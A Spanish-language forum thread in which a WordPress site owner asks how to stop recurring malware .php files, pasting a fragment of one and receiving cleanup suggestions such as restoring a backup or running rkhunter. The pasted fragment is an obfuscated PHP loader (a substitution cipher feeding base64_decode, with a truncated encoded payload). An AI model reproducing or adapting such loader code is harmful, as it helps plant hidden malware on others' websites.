Malware crea archivos php en mi hosting. Web Wordpress

[jcarranz]

Hola,

Tengo una web Wordpress en el hosting Arsys. El soporte técnico me avisa continuamente de nuevos archivos .php macados como malware y no sé que hacer para que dejen de aparecer.

- He instalado el ithemes security en wordpress
- He cambiado los permisos de lectura de archivo a las recomendaciones del plugin ithemes security
- He cambiado todas las contraseñas (ftp, cpanel, wordpress...)
- He añadido en el htaccess la lista de HackRepair.com Blacklist

Son archivos php de unos 150Kb con funciones php

Este es un fragmento:

function kjfttvs($xnxfr, $ckdljgklm){$fmycpezf = ''; for($i=0; $i < strlen($xnxfr); $i++){$fmycpezf .= isset($ckdljgklm[$xnxfr[$i]]) ? $ckdljgklm[$xnxfr[$i]] : $xnxfr[$i];}
$ayichn="base64_decode";return $ayichn($fmycpezf);}
$ziguwcw = '9VfwW6vYBz9oek6AsXvAzkb8BAspiGm6tGNdgNdcW1mdzT3fj ZUxnVvxzk6AsXvA'.
'sAspiKcdgNdcW1mdzT3fjZUxn15Dzk6DB13ajVf8nfvlW1afe ANUFZEhZEPYBzHQj'.
'VfLB6vpW1adjZUNMtpMZXfXMVfYsk6lMZHQ0l6C6E6CMCEM7N oee5vtH6e1H6eneaPi05vtH0bVealUICcO'.
'RAihicoee5vtH6e1H6eneae5t0v0H6vPHGHCealUICcOFtiTR 4cwFZDbi4pMZ1fXMZ5fnzPl'.
'7CUEza350fB50fpxC5H005vrzlBI0fjP0EH5H5

gracias

[Tedel]

¿Has intentado simplemente reinstalar Wordpress y subir tu último backup sano?

Si no lo has hecho, es lo primero que deberías intentar.

[jcarranz]

Restaurar el último backup hubiese sido lo mejor, pero era una versión muy desactualizada respecto a la última versión que es la infectada

Por eso me interesa más una solución que me permita limpiar la versión actual

gracias,

[lauser]

Has probado a usar herramientas del estilo rkhunter?
Necesitas acceso ssh.

[jcarranz]

Iniciado por lauser

Has probado a usar herramientas del estilo [URL="http://rkhunter.sourceforge.net/"]rkhunter[/URL]?
Necesitas acceso ssh.

Gracias, tengo un perfil más de diseñador y estas herramientas se me atascan bastante

¿tendría el mismo efecto copiarme la web a mi xampp, ejecutar ahí el rkhunter y luego subir la copia limpia de nuevo al hosting?

gracias!

[lauser]

rkhunter no solo analiza la web... no se si te servirá.